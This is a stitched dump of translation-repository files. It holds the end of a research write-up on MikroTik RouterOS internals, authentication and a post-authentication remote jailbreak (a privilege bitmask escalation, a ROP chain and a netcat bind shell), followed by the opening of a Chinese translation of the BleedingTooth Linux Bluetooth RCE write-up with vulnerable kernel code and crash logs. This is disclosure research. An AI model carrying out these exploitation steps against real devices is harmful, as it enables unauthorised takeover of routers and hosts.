depth, and you can also find some open-source libraries which implement this protocol. 112 | 113 | ![](https://margin.re/attachments/limelight_7.png) 114 | 115 | Each nova message key is a 24-bit integer and certain keys have a special meaning inside RouterOS. For example, keys of the form `0xFFxxxx` correspond to the `SYS` namespace and are used during message routing: 116 | 117 | ![](https://margin.re/attachments/limelight_8.png) 118 | 119 | Particularly of interest are the keys for `SYS_TO` (destination binary), `SYS_FROM` (origin binary), and `SYS_CMD` (what operation to invoke). 120 | 121 | Armed with this information, we can now start to make sense of some RouterOS code. In the following image, we see `www` sending an authentication request to `user`. It constructs a new nova message, setting `SYS_TO` to the address [`13`, 4] and setting `SYS_CMD` to 1. 122 | 123 | ![](https://margin.re/attachments/limelight_9.png) 124 | 125 | #### Turning x3 into Pseudo-XML 126 | 127 | So how do we actually know which process [13, 4] corresponds to? First, remember that /nova/bin/loader is responsible for spawning all the processes. When we look inside loader, we see it reads from a configuration file at /nova/etc/loader/system.x3 using functions in the libuxml++.so library. Unfortunately, this .x3 file is not plain XML but appears to be some serialized format. With a bit of reverse engineering and some coffee, we recover MikroTik’s “pseudo-XML” format specification: 128 | 129 | ![](https://margin.re/attachments/limelight_9.5.png) 130 | 131 | And now we can convert this serialized file into a more readable XML format: 132 | 133 | ![](https://margin.re/attachments/limelight_9.75.png) 134 | 135 | Aha! Here we clearly see a list of process entries. And each entry has a parameter 7 which seems to correspond to the file path and a parameter 4 which must correspond to the RouterOS ID. 136 | 137 | Nova Handlers 138 | So that explains the 13 (`user`'s ID), but what is the deal with the 4? 139 | 140 | It turns out that RouterOS processes can register “Nova Handlers” (`nv::Handler`) which act as subsidiary components, capable of handling and responding to their own requests. In this case, we see that `user` registers several handlers in `main`, one of which is registered at index 4: 141 | 142 | ![](https://margin.re/attachments/limelight_10.png) 143 | 144 | `Neat!` 145 | 146 | It’s worth noting that every process also constructs a “Nova Looper” (`nv::Looper`) which acts at the interconnect between the process (e.g. `/nova/bin/user`) and the main controller (`/nova/bin/loader`). The Looper also contains a default handler, so if we were to send a message to address [13] (instead of [13,4]), for example, it would be handled by `user`’s `Looper` rather than a registered `Handler`. 147 | 148 | #### IPC Message Routing 149 | So this is cool and all, but how does it actually work? What actually happens when `www` exchanges a message? How does the message end up in `user`’s login handler? 150 | 151 | Let’s take a look at an example request and response. In this example, we have two processes: `foo` (at address 12) and `bar` (at address 34). Additionally, `bar` has a handler registered at address 50. In this example, `foo` sends a request to `bar/sub` and then `bar/sub` responds: 152 | 153 | ![](https://margin.re/attachments/limelight_11.png) 154 | 155 | Request (in blue): 156 | 157 | 1. `foo` constructs a message with `SYS_TO=[34,50]` (`bar/sub`) and `SYS_FROM=[]` and invokes `Looper.exchMessage()` 158 | 2. `foo`’s `Looper` forwards this message to `loader` over a socket created when `loader` spawned `foo` 159 | 3. `loader` receives the message, determines it is from `foo` based on the receiving socket, and determines the destination is `bar` (based on the first entry in `SYS_TO`) 160 | 4. `loader` prepends 12 to `SYS_FROM`, strips 34 from `SYS_TO`, and forwards the message over a socket connected to `bar` 161 | 5. `bar`’s `Looper` receives the message and, seeing that `SYS_TO` is not empty, it locates a handler with address 50 162 | 6. `bar`’s `Looper` successfully identifies the `sub` handler, strips 50 from `SYS_TO`, and forwards the message (in the same process) to `bar/sub` 163 | 7. `bar/sub` receives the message and, seeing that `SYS_TO` is empty, handles the message directly 164 | 165 | 166 | Response (in yellow): 167 | 168 | 1. After `bar/sub` generates a response, it flips the `SYS_TO` and `SYS_FROM` lists in the original message. Now, `SYS_TO=[12]` (`foo`) and `SYS_FROM=[]` 169 | 2. `bar/sub` pushes the message up to its parent `Looper` 170 | 3. `bar’s Looper` receives the message and identifies which handler sent it. In this case it is `bar/sub`, so it prepends 50 to `SYS_FROM` and forwards the message to `Loader` over a pre-established socket 171 | 4. `loader` receives the message, identifies the origin is `bar` (based on the incoming socket), and identifies the destination is `foo` (based on the first entry in `SYS_TO`) 172 | 5. `loader` prepends 34 to `SYS_FROM` and strips the first entry from `SYS_TO` and then forwards the message to `foo` over a socket 173 | 6. `foo` receives the message and, seeing as `SYS_TO` is empty, handles it 174 | 7. `foo`’s `Looper` identifies this is a response to a previous request, prepares the return value, and returns execution to `looper.exchMessage()` 175 | 176 | This is a really cool way of routing messages and provides some useful features: 177 | 178 | First, since `SYS_FROM` is constructed piece-by-piece as a message moves up the stack, this protocol protects against forgery; a binary or handler cannot spoof a source ID. 179 | 180 | Secondly, `loader` is not just the hub of all process management, but also all message proxying. This means that `loader` is free to terminate services that are only intermittently needed (e.g., the user authentication binary) to free resources. If any services later require `user` authentication, `loader` receives a message destined for the now-terminated service and restarts it prior to proxying the message! 181 | 182 | Finally, since message routing is performed dynamically, specific handlers can be refactored to other processes without much difficulty. 183 | 184 | #### Multicast and Broadcast 185 | While most RouterOS messages are point-to-point (e.g. remote procedure calls or notification messages), RouterOS also provides functionality for multicast and broadcast. 186 | 187 | ![](https://margin.re/attachments/limelight_11.5.png) 188 | 189 | A binary sends a multicast message by setting `SYS_TO` equal to `[0xFE0002]` followed by a list of targets. Or for a broadcast message, a binary simply sets `SYS_TO` equal to `[0xFE0001]`. Internally, `loader` parses these special formats and duplicates the message as necessary. 190 | 191 | #### Hooking loader to Visualize IPC 192 | 193 | Knowing all of these details, we wrote a tool to trace every internal RouterOS message. Because `loader` handles all messages, we need only sniff traffic passing through `loader`. Specifically, we proxy all messages from `loader` and forward them to a graphical front-end to visualize and decompose them. Included below is a demo of the tool. Notice that when we log in to the web interface there is a burst of authentication and data retrieval messages. Then, as we paginate through the web interface, we see additional requests for required data. 194 | 195 | [![](https://res.cloudinary.com/marcomontalbano/image/upload/v1655261363/video_to_markdown/images/youtube--Em1hVWnbzQ4-c05b58ac6eb4c4700831b2b3070cd403.jpg)](https://www.youtube.com/watch?v=Em1hVWnbzQ4 "") 196 | 197 | ### Hand-rolled Authentication 198 | #### Security through Obscurity 199 | Our next goal is to understand MikroTik's authentication scheme so that we can build configuration or research tooling that hits post-authorization endpoints. It is therefore time to talk about everyone's favorite topic: cryptographic protocols! 200 | 201 | Initial investigation shows that the `www` binary, listening for web configuration traffic on port 80, uses a standard Elliptic Curve Diffie-Hellman (ECDH) protocol to generate a shared secret over the Curve25519 elliptic curve, which is subsequently used to generate RC4 transfer and receive stream cipher keys. 202 | 203 | That is all rather generic...too generic for the likes of MikroTik. 204 | 205 | Thrillingly (or tragically, depending on your perspective), the `mproxy` binary listening for Winbox traffic on port 8291 seemingly does not use ECDH. Investigation of internal messages from `mproxy` to `user` shows a different series of data exchanged when compared against `www`’s authentication protocol. 206 | 207 | In a rare stroke of luck, [MikroTik’s wiki page](https://wiki.mikrotik.com/wiki/Manual:Security) details that Winbox uses “EC-SRP5” for authentication. Elliptic Curve Secure Remote Protocol (EC-SRP) is a rather obscure protocol, and the internet is fairly void of any good guides detailing its implementation. After a lot of digging through archives and cryptography guides, we find that the Wayback Machine holds the keys to the puzzle in the form of an [IEEE submission draft from 2001](https://web.archive.org/web/20131228182531/http://grouper.ieee.org/groups/1363/passwdPK/submissions/p1363ecsrp.pdf). 208 | 209 | To the best of our knowledge, this draft was never actually included as an IEEE standard, yet it is a great resource as it meticulously details EC-SRP's cryptographic calculations. Let's dive into it! 210 | 211 | ![](https://margin.re/attachments/limelight_12.png) 212 | 213 | Ouch. That is a bit more complicated than ECDH. Let's break it down piece by piece so we are not overwhelmed. 214 | 215 | #### Rationalizing the Differences 216 | What we first notice is that this guide has some noticeable differences compared to the MikroTik implementation. Two major discrepancies jump out. 217 | 218 | First, the guide makes no reference to the Montgomery (Curve25519) curve and all calculations are performed over the Weierstrass curve. However, with some extensive reverse engineering we find that RouterOS only converts Weierstrass curve points to Montgomery form right before public keys are shared, and it performs all elliptic curve math over the Weierstrass curve. 219 | 220 | So we can abstract away that detail and focus on the math. 221 | 222 | The second difference is that MikroTik seemingly performs more math operations under the hood, convoluting the high-level operations that the IEEE submission draft details. Dynamic reverse engineering shows us that elliptic curve calculations result in points with z coordinates, which is curious given the commonly defined Weierstrass equation is two-dimensional: Y2=X3+aX+b. With yet more research we find that MikroTik actually performs calculations using the projective Weierstrass form in three dimensions, y2=x3+axz4+bz6, and later projects the three dimensional point onto the plane Z=1 to convert back into two dimensions. 223 | 224 | Again, this is an implementation detail that we can abstract away for the sake of our comparison. 225 | 226 | **With these two details out of the way, we can focus on a one-to-one comparison between MikroTik and IEEE submission draft operations.** 227 | 228 | #### Fingerprinting the Similarities...(or lack thereof) 229 | The first thing we notice is that the client public key calculation is identical, and also matches ECDH. The server public key calculation diverges from ECDH because it injects username and password information into the calculation to perform authentication during the key exchange. This is a feature of Password-Authenticated Key Exchanges (PAKEs), which is a core concept of all Secure Remote Protocols, including EC-SRP. 230 | 231 | Unfortunately, when we compare MikroTik's server public key implementation against the draft, we find a significant difference: MikroTik hashes the x coordinate of a generated gamma point twice, whereas the draft only hashes once. 232 | 233 | ![](https://margin.re/attachments/limelight_13.png) 234 | 235 | This is concerning because hashes are, by definition, irreversible. The MikroTik client will consequently need to compensate when performing its calculation to account for this difference. 236 | 237 | It is therefore unsurprising when we find that there are a number of differences in the MikroTik calculation, as shown below in orange, versus the IEEE submission draft. **It is rather remarkable that, even with these alterations, the MikroTik server and client still successfully generate a mutual shared secret.** Feel free to marvel at that realization, we surely did! 238 | 239 | ![](https://margin.re/attachments/limelight_14.png) 240 | 241 | #### Finalizing the Protocol 242 | There are a few final details required to successfully authenticate now that we have our shared secret. These include: 243 | 244 | * Preparing and transmitting confirmation codes to confirm that both sides share the same secret. This also guarantees authentication, since an incorrect username or password would generate a wildly different point 245 | * Generating AES-CBC and HMAC keys for tx and rx 246 | * Implementing unique block padding for the AES cipher, which is almost-but-not-quite PKCS7 247 | * Accounting for fragmented messages over 255 bytes in length 248 | 249 | With those final details in place, we can now send encrypted messages and decrypt received messages from the MikroTik server! 250 | 251 | #### Tools and Further Reading 252 | If you are only interested in the final result, have no fear. We implemented a client version of Winbox and MAC Telnet (another common RouterOS configuration) service that you can plug-and-play. For those more interested in watching the authentication scheme progress, we also have a Winbox server implementation that can connect to the Winbox client. These tools are included in the first link below. 253 | 254 | For those interested in the IEEE submission draft protocol, we created a client and server version of that protocol available in the second link. 255 | 256 | Finally, we have additional details on the EC-SRP protocol and MikroTIk’s projective space calculations in a previous blog post, which you will find in the third link. 257 | 258 | 1. [MikroTik Authentication](https://github.com/MarginResearch/mikrotik_authentication) 259 | 2. [EC-SRP Authentication, as defined in the IEEE draft](https://github.com/MarginResearch/EC-SRP) 260 | 3. [MikroTik Authentication Revealed](https://margin.re/blog/mikrotik-authentication-revealed.aspx) 261 | 262 | ### Jailbreaking RouterOS 263 | #### Listening in on a Conversation between www...and Itself? 264 | Let’s dive into a remote jailbreak we discovered in RouterOS! Our journey starts with the www binary which manages MikroTik’s WebFig web configuration portal exposed on port 80 by default. 265 | 266 | After a bit of initial reverse engineering, we discover that `www` uses a servlet model to handle requests. This is a fairly common pattern for web servers and generally makes code nice and modular. Specifically `www` registers certain url prefixes to servlets which implement the actual `doGet`, `doPost`, etc., methods. 267 | 268 | For example, if we load `/jsproxy/…`, the `jsproxy` servlet handles these requests. Similarly if we load `/scep/…`, this request is handled by the `scep` servlet. You get the picture. In total there are seven of these custom servlets (not including the built-in servlets like `dir`). 269 | 270 | Interestingly, the code for these servlets is actually separated into special `.p` shared libraries located in `/nova/etc/www`. For example, the code for the jsproxy servlet is located in `/nova/etc/www/jsproxy.p`. 271 | 272 | In the spirit of conserving virtual memory, `www` utilizes lazy loading when dealing with servlets. `www` loads no servlets initially, and only upon the first request to a servlet is one actually loaded. 273 | 274 | That seems like a pretty good model; but as we use the message tracer we noticed something interesting when a servlet is loaded. Specifically we see a strange message from `www` to `www/2` (handler #2). 275 | 276 | ![](https://margin.re/attachments/limelight_15.png) 277 | 278 | There are two things that caught our attention: 279 | 280 | 1. Why is `www` sending a message to itself? 281 | 2. Why do some of the values look like virtual addresses? (note: we’re looking at 32-bit x86 here). IPC messaging is for sending messages between processes, and virtual addresses should be meaningless 282 | 283 | When we examine the handler for `www/2` we see something even more frightening: it appears to pull a pointer from the message object and invoke it as a function?!? 284 | 285 | It turns out that when a servlet is first loaded, it needs to register itself with the `www` process. And even though the servlet is loaded in the same process as `www`, the MikroTik developers decided to use IPC to perform this initial handshake rather than doing something more reasonable like having `www` look up any needed symbols in the servlet library… 286 | 287 | Very spicy! If we could hit this handler with an arbitrary message, we could invoke any pointer and surely get a shell! **But can we hit it?** 288 | 289 | #### Permission Escalation to super-admin 290 | As an end-user, it is possible to send arbitrary messages into the system through one of the several proxy binaries, but we need to authenticate first. And since we already reverse-engineered the Winbox client as described in the previous section, all the hard authentication work is done! We can send arbitrary messages, but unfortunately hitting the handler is not quite that easy. 291 | 292 | It turns out that RouterOS handlers are also gated based on a policy bitmask. In this case, our vulnerable handler `www/2` (handler #2, FoisHandler) has a required policy of `0x80000000` which is unattainable via the GUI configuration panel. As an admin, our default policy bitmask is `0x5FFFE` and the maximum we can set is `0x7FFFE`. 293 | 294 | Messages initiated internally have a maximum permission level by default, i.e., they run with super-admin privileges. But all of the messages we proxy through our Winbox client have their permission level set to something lower, which means we can never actually hit this handler with a proxied message. 295 | 296 | Or can we? 297 | 298 | The GUI controls policy levels with checkboxes that indicate certain privileges (e.g., read, write, ssh, reboot, etc). Using our message tracer, we see that internally this results in a single message sent with a combined bitmask value to indicate the permission level. The GUI will never send a message with a permission greater than `0x7FFFE`, but what if we just send our own message with a permission of `0xFFFFFFFF`? 299 | 300 | ![](https://margin.re/attachments/limelight_16.png) 301 | 302 | **This actually works and successfully upgrades our permission level from admin to super-admin, allowing us to hit the vulnerable handler!** 303 | 304 | #### ROPping and Popping 305 | The last step is to achieve RCE, which we can do with the following steps: 306 | 307 | 1. Upload a stage2 payload and busybox using FTP. The stage2 will execute a netcat listener using busybox and listen for traffic on port 1337. Because the exploit is post-authentication, we can use MikroTik’s FTP server to achieve this 308 | 2. Send a crafted message to user to escalate our privileges 309 | 3. Send a crafted message to FoisHandler, including a ROP chain in the body of our message which is stored on the stack 310 | 4. Hijack PC using the controlled function pointer and pivot to the ROP chain 311 | 5. ROP to chmod to set our stage2 to executable 312 | 6. ROP to execute stage2 313 | 7. Connect to the new reverse shell listening on port 1337 314 | 315 | ![](https://margin.re/attachments/limelight_17.png) 316 | 317 | #### POC or GTFO 318 | And just like that, we remotely jailbreak RouterOS for the first time in three years! It should be noted that this exploit is only viable on RouterOS v6, as FoisHandler was removed in the v7 overhaul. While this outline gives you the information necessary to write your own exploit, stay tuned for a POC to be released in the coming days! 319 | 320 | ### Conclusion 321 | This blog post covered a lot, so it is worth rehashing the knowledge you gained if you stuck with us: 322 | 323 | * We now understand the construction of MikroTik firmware packages, and how to bypass cryptographic signing to get a developer shell on the RouterOS virtual machine 324 | * We took a deep dive into the IPC message protocol, how messages are crafted, and how `loader` acts as the “router’s router” 325 | * We endured a chaotic adventure into EC-SRP5 as implemented by MikroTik for its Winbox and MAC Telnet services, and now have client programs that perform authentication on our behalf 326 | * We added a novel jailbreak to our toolkit that exploits two post-authentication vulnerabilities to root any RouterOS v6 device, physical or virtual 327 | 328 | Our intent for this post is to document these concepts and refresh the publicly available knowledge of MikroTik and RouterOS, with hopes of lowering the barrier to entry for other interested researchers and tinkerers. This is especially important because MikroTik gravitates towards obscurity, cluching tight to their hand-rolled source code and often leaving customer questions about implementation details unanswered. 329 | 330 | **You are now ready to start your own adventure into MikroTik research!** Armed with this knowledge, together we can pull this target from the fringes of obscurity back into the limelight! 331 | 332 | [You can find the full slide deck for this presentation here.](https://margin.re/attachments/Pulling_MikroTik_into_the_Limelight.pdf) 333 | 334 | -------------------------------------------------------------------------------- 335 | 336 | via: https://margin.re/blog/pulling-mikrotik-into-the-limelight.aspx 337 | 338 | 作者:[Harrison Green & Ian Dupont][a] 339 | 选题:[Licae][b] 340 | 译者:[译者 ID](https://github.com/译者 ID) 341 | 校对:[校对 ID](https://github.com/校对 ID) 342 | 343 | [a]: https://margin.re/blo 344 | [b]: https://github.com/Licae 345 | [1]: 图片链接地址 346 | [2]: 文内链接地址 -------------------------------------------------------------------------------- /translated/tech/20220613 BleedingTooth Linux Bluetooth Zero-Click Remote Code Execution.md: -------------------------------------------------------------------------------- 1 | [#]: subject: "BleedingTooth: Linux Bluetooth Zero-Click Remote Code Execution" 2 | [#]: via: "https://google.github.io/security-research/pocs/linux/bleedingtooth/writeup.html" 3 | [#]: author: "Andy Nguyen (theflow@)" 4 | [#]: collector: "Licae" 5 | [#]: translator: "b1lack" 6 | [#]: reviewer: "firmianay" 7 | [#]: publisher: "firmianay" 8 | [#]: url: " " 9 | 10 | BleedingTooth:Linux 蓝牙零点击远程代码执行 11 | ======= 12 | 13 | - [BleedingTooth:Linux 蓝牙零点击远程代码执行](#bleedingtoothlinux-蓝牙零点击远程代码执行) 14 | - [概述](#概述) 15 | - [补丁、严重性和公告](#补丁严重性和公告) 16 | - [漏洞](#漏洞) 17 | - [BadVibes:基于栈的缓冲区溢出(CVE-2020-24490)](#badvibes基于栈的缓冲区溢出cve-2020-24490) 18 | - [BadChoice:基于堆栈的信息泄漏(CVE-2020-12352)](#badchoice基于堆栈的信息泄漏cve-2020-12352) 19 | - [BadKarma:基于堆类型的混淆(CVE-2020-12351)](#badkarma基于堆类型的混淆cve-2020-12351) 20 | - [利用](#利用) 21 | - [绕过 BadKarma](#绕过-badkarma) 22 | - [探索 sk_filter()](#探索-sk_filter) 23 | - [寻找堆原语](#寻找堆原语) 24 | - [控制越界读取](#控制越界读取) 25 | - [内存布局泄露](#内存布局泄露) 26 | - [把所有东西结合起来](#把所有东西结合起来) 27 | - [实现 RIP 控制](#实现-rip-控制) 28 | - [内核堆栈旋转](#内核堆栈旋转) 29 | - [内核 ROP 链执行](#内核-rop-链执行) 30 | - [POC](#poc) 31 | - [时间线](#时间线) 32 | - [结论](#结论) 33 | - [致谢](#致谢) 34 | 35 | # 概述 36 | 37 | 我注意到网络子系统通过 [syzkaller][1](Google开发的一款内核模糊测试工具)进行了广泛的模糊测试,但是像蓝牙这样的子系统涉及的比较少。总的来说,关于蓝牙主机攻击的研究似乎相当有限-蓝牙中大多数公开的漏洞只影响[固件][2]或自身[规范][3],并且只允许攻击者窃听和/或操纵信息。 38 | 39 | 但如果攻击者能够完全控制设备呢?最突出的例子是 [BlueBorne][4] 和 [BlueFrag][5]。我给自己设定的目标是研究 Linux 的蓝牙堆栈,扩展 BlueBorne 的发现,并扩展 syzkaller,使其能够模糊测试 /dev/vhci 设备。 40 | 41 | 这篇博文描述了我深入研究代码的过程,发现了高危的漏洞,并最终将它们链接到针对 x86-64 Ubuntu 20.04.1([视频][6])的成熟 RCE 漏洞利用中。 42 | 43 | ## 补丁、严重性和公告 44 | 45 | 谷歌直接联系了 [BlueZ][7] 和 Linux 蓝牙子系统维护者(Intel),而不是 Linux 内核安全团队,以协调对这一系列漏洞的多方响应。Intel 随补丁一起发布了安全公告 [INTEL-SA-00435][8],但在披露时,这些补丁并未包含在任何已发布的内核版本中。为了便于协调,应该通知 Linux 内核安全团队,并且任何此类将来的漏洞也将报告给他们。通信的时间表位于文章的结尾。相应漏洞的补丁包括: 46 | 47 | - [BadVibes][9](CVE-2020-24490) 已于 2020 年 7 月 30 日在主线分支上修复:[提交][10]。 48 | - [BadChoice][11](CVE-2020-12352) 和 [BadKarma][12](CVE-2020-12351) 已于 2020-Sep-25 在 bluetooth-next 上修复:提交 [1][13]、[2][14]、[3][15]、[4][16] 49 | 50 | 仅这些漏洞的严重性就有从中到高不等,但它们的组合起来使用意味着严重的安全风险。这篇文章涵盖了这些风险。 51 | 52 | ## 漏洞 53 | 54 | 让我们简要描述一下蓝牙堆栈。蓝牙芯片使用 HCI(主机控制器接口)协议与主机(操作系统)通信。常见的数据包有: 55 | 56 | - Command 数据包 – 由主机发送到控制器。 57 | - Event 数据包 – 由控制器发送到主机以通知事件。 58 | - Data 数据包 – 通常携带实现传输层的 L2CAP(逻辑链路控制和适应协议)数据包。 59 | 60 | 更高级别的协议,如 A2MP(AMP管理器协议)或 SMP(安全管理协议)构建在 L2CAP 之上。在 Linux 实现中,所有这些协议都是在没有身份验证的情况下公开的,其中一些协议甚至存在于内核中,因此这里的漏洞至关重要。 61 | 62 | ## BadVibes:基于栈的缓冲区溢出(CVE-2020-24490) 63 | 64 | 我通过手动查看 HCI 事件数据包解析器发现了第一个漏洞(在 Linux 内核 4.19 中引入)。HCI 事件数据包由蓝牙芯片制作和发送,通常无法由攻击者控制(除非他们也控制蓝牙固件)。但是,这里有两种非常相似的方法 `hci_le_adv_report_evt()` 和 `hci_le_ext_adv_report_evt()` ,其目的是分析来自远程蓝牙设备的广播报文。这些报文的大小是可变的。 65 | 66 | ```c 67 | // https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/net/bluetooth/hci_event.c 68 | static void hci_le_adv_report_evt(struct hci_dev *hdev, struct sk_buff *skb) 69 | { 70 | u8 num_reports = skb->data[0]; 71 | void *ptr = &skb->data[1]; 72 | 73 | hci_dev_lock(hdev); 74 | 75 | while (num_reports--) { 76 | struct hci_ev_le_advertising_info *ev = ptr; 77 | s8 rssi; 78 | 79 | if (ev->length <= HCI_MAX_AD_LENGTH) { 80 | rssi = ev->data[ev->length]; 81 | process_adv_report(hdev, ev->evt_type, &ev->bdaddr, 82 | ev->bdaddr_type, NULL, 0, rssi, 83 | ev->data, ev->length); 84 | } else { 85 | bt_dev_err(hdev, "Dropping invalid advertising data"); 86 | } 87 | 88 | ptr += sizeof(*ev) + ev->length + 1; 89 | } 90 | 91 | hci_dev_unlock(hdev); 92 | } 93 | ... 94 | static void hci_le_ext_adv_report_evt(struct hci_dev *hdev, struct sk_buff *skb) 95 | { 96 | u8 num_reports = skb->data[0]; 97 | void *ptr = &skb->data[1]; 98 | 99 | hci_dev_lock(hdev); 100 | 101 | while (num_reports--) { 102 | struct hci_ev_le_ext_adv_report *ev = ptr; 103 | u8 legacy_evt_type; 104 | u16 evt_type; 105 | 106 | evt_type = __le16_to_cpu(ev->evt_type); 107 | legacy_evt_type = ext_evt_type_to_legacy(hdev, evt_type); 108 | if (legacy_evt_type != LE_ADV_INVALID) { 109 | process_adv_report(hdev, legacy_evt_type, &ev->bdaddr, 110 | ev->bdaddr_type, NULL, 0, ev->rssi, 111 | ev->data, ev->length); 112 | } 113 | 114 | ptr += sizeof(*ev) + ev->length; 115 | } 116 | 117 | hci_dev_unlock(hdev); 118 | } 119 | ``` 120 | 121 | 注意这两个方法是怎么调用 `process_adv_report()` 的,后一个方法没有检查 `ev->length` 是否小于或等于 `HCI_MAX_AD_LENGTH=31`。函数 `process_adv_report()` 接着会传递事件数据和长度参数来调用 `store_pending_adv_report()`: 122 | 123 | ```c 124 | // https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/net/bluetooth/hci_event.c 125 | static void process_adv_report(struct hci_dev *hdev, u8 type, bdaddr_t *bdaddr, 126 | u8 bdaddr_type, bdaddr_t *direct_addr, 127 | u8 direct_addr_type, s8 rssi, u8 *data, u8 len) 128 | { 129 | ... 130 | if (!has_pending_adv_report(hdev)) { 131 | ... 132 | if (type == LE_ADV_IND || type == LE_ADV_SCAN_IND) { 133 | store_pending_adv_report(hdev, bdaddr, bdaddr_type, 134 | rssi, flags, data, len); 135 | return; 136 | } 137 | ... 138 | } 139 | ... 140 | } 141 | ``` 142 | 143 | 最后,`store_pending_adv_report()` 子例程复制数据到 `d->last_adv_data`: 144 | 145 | ```c 146 | // https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/net/bluetooth/hci_event.c 147 | static void store_pending_adv_report(struct hci_dev *hdev, bdaddr_t *bdaddr, 148 | u8 bdaddr_type, s8 rssi, u32 flags, 149 | u8 *data, u8 len) 150 | { 151 | struct discovery_state *d = &hdev->discovery; 152 | ... 153 | memcpy(d->last_adv_data, data, len); 154 | d->last_adv_data_len = len; 155 | } 156 | ``` 157 | 158 | 在 `struct hci_dev` 中,我们可以看到缓冲区 `last_adv_data` 和 `HCI_MAX_AD_LENGTH` 的大小相同,但这都不足以容纳扩展的广播数据。理论上,解析器可以接收 255 字节的数据包并将其路由到该方法。如果可能的话,我们可以溢出 `last_adv_data` 并污染参数使得偏移量为 `0xbaf`。 159 | 160 | ```c 161 | // pahole -E -C hci_dev --hex bluetooth.ko 162 | struct hci_dev { 163 | ... 164 | struct discovery_state { 165 | ... 166 | /* typedef u8 -> __u8 */ unsigned char last_adv_data[31]; /* 0xab0 0x1f */ 167 | ... 168 | } discovery; /* 0xa68 0x88 */ 169 | ... 170 | struct list_head { 171 | struct list_head * next; /* 0xb18 0x8 */ 172 | struct list_head * prev; /* 0xb20 0x8 */ 173 | } mgmt_pending; /* 0xb18 0x10 */ 174 | ... 175 | /* size: 4264, cachelines: 67, members: 192 */ 176 | /* sum members: 4216, holes: 17, sum holes: 48 */ 177 | /* paddings: 10, sum paddings: 43 */ 178 | /* forced alignments: 1 */ 179 | /* last cacheline: 40 bytes */ 180 | } __attribute__((__aligned__(8))); 181 | ``` 182 | 183 | 但是,`hci_le_ext_adv_report_evt()` 是否可以接收这么大的报文?数据量大的报文似乎是符合预期的,因为拓展的报文解析器似乎有意删除了 31 字节的检测。另外,它在代码中与 `hci_le_adv_report_evt()` 很相似,因此该检测可能不是因为错误而被遗忘。事实上,从规范中我们可以看到,从 31 字节扩展到 255 字节是蓝牙 5 的主要特性之一: 184 | 185 | > 回顾蓝牙 4.0,广播的有效载荷最大长度为 31 字节。在蓝牙 5 中,我们通过增加额外的广播通道和新的广播 PDUs将有效负载增加到 255 字节。 186 | > 187 | > 来源: https://www.bluetooth.com/blog/exploring-bluetooth5-whats-new-in-advertising/ 188 | 189 | 因此,只有当受害者的机器带有蓝牙 5 芯片(这是一种相对“新”的技术,仅在较新的笔记本电脑上可用),并且受害者正在主动扫描广播数据(即打开蓝牙设置并搜索周围的设备)时,该漏洞才会触发。 190 | 191 | 使用两个支持蓝牙 5 的设备,我们可以很容易地确认该漏洞,并观察到类似于如下的 panic: 192 | 193 | ``` 194 | [ 118.490999] general protection fault: 0000 [#1] SMP PTI 195 | [ 118.491006] CPU: 6 PID: 205 Comm: kworker/u17:0 Not tainted 5.4.0-37-generic #41-Ubuntu 196 | [ 118.491008] Hardware name: Dell Inc. XPS 15 7590/0CF6RR, BIOS 1.7.0 05/11/2020 197 | [ 118.491034] Workqueue: hci0 hci_rx_work [bluetooth] 198 | [ 118.491056] RIP: 0010:hci_bdaddr_list_lookup+0x1e/0x40 [bluetooth] 199 | [ 118.491060] Code: ff ff e9 26 ff ff ff 0f 1f 44 00 00 0f 1f 44 00 00 55 48 8b 07 48 89 e5 48 39 c7 75 0a eb 24 48 8b 00 48 39 f8 74 1c 44 8b 06 <44> 39 40 10 75 ef 44 0f b7 4e 04 66 44 39 48 14 75 e3 38 50 16 75 200 | [ 118.491062] RSP: 0018:ffffbc6a40493c70 EFLAGS: 00010286 201 | [ 118.491066] RAX: 4141414141414141 RBX: 000000000000001b RCX: 0000000000000000 202 | [ 118.491068] RDX: 0000000000000000 RSI: ffff9903e76c100f RDI: ffff9904289d4b28 203 | [ 118.491070] RBP: ffffbc6a40493c70 R08: 0000000093570362 R09: 0000000000000000 204 | [ 118.491072] R10: 0000000000000000 R11: ffff9904344eae38 R12: ffff9904289d4000 205 | [ 118.491074] R13: 0000000000000000 R14: 00000000ffffffa3 R15: ffff9903e76c100f 206 | [ 118.491077] FS: 0000000000000000(0000) GS:ffff990434580000(0000) knlGS:0000000000000000 207 | [ 118.491079] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 208 | [ 118.491081] CR2: 00007feed125a000 CR3: 00000001b860a003 CR4: 00000000003606e0 209 | [ 118.491083] Call Trace: 210 | [ 118.491108] process_adv_report+0x12e/0x560 [bluetooth] 211 | [ 118.491128] hci_le_meta_evt+0x7b2/0xba0 [bluetooth] 212 | [ 118.491134] ? __wake_up_sync_key+0x1e/0x30 213 | [ 118.491140] ? sock_def_readable+0x40/0x70 214 | [ 118.491143] ? __sock_queue_rcv_skb+0x142/0x1f0 215 | [ 118.491162] hci_event_packet+0x1c29/0x2a90 [bluetooth] 216 | [ 118.491186] ? hci_send_to_monitor+0xae/0x120 [bluetooth] 217 | [ 118.491190] ? skb_release_all+0x26/0x30 218 | [ 118.491207] hci_rx_work+0x19b/0x360 [bluetooth] 219 | [ 118.491211] ? __schedule+0x2eb/0x740 220 | [ 118.491217] process_one_work+0x1eb/0x3b0 221 | [ 118.491221] worker_thread+0x4d/0x400 222 | [ 118.491225] kthread+0x104/0x140 223 | [ 118.491229] ? process_one_work+0x3b0/0x3b0 224 | [ 118.491232] ? kthread_park+0x90/0x90 225 | [ 118.491236] ret_from_fork+0x35/0x40 226 | ``` 227 | 228 | 这个 panic 意味着我们可以完全控制 `struct hci_dev` 成员变量。`mgmt_pending->next` 是一个可被污染的有趣指针,因为它是类型是 `struct mgmt_pending_cmd`,其中包含函数指针 `cmd_complete()`: 229 | 230 | ```c 231 | // pahole -E -C mgmt_pending_cmd --hex bluetooth.ko 232 | struct mgmt_pending_cmd { 233 | ... 234 | int (*cmd_complete)(struct mgmt_pending_cmd *, u8); /* 0x38 0x8 */ 235 | 236 | /* size: 64, cachelines: 1, members: 8 */ 237 | /* sum members: 62, holes: 1, sum holes: 2 */ 238 | }; 239 | ``` 240 | 241 | 举个例子,可以通过中止 HCI 连接来触发此处理程序。但是,为了成功重定向到 `mgmt_pending->next` 指针,我们需要一个额外的信息泄漏漏洞,我们将在下一节中学习。 242 | 243 | ## BadChoice:基于堆栈的信息泄漏(CVE-2020-12352) 244 | 245 | BadVibes 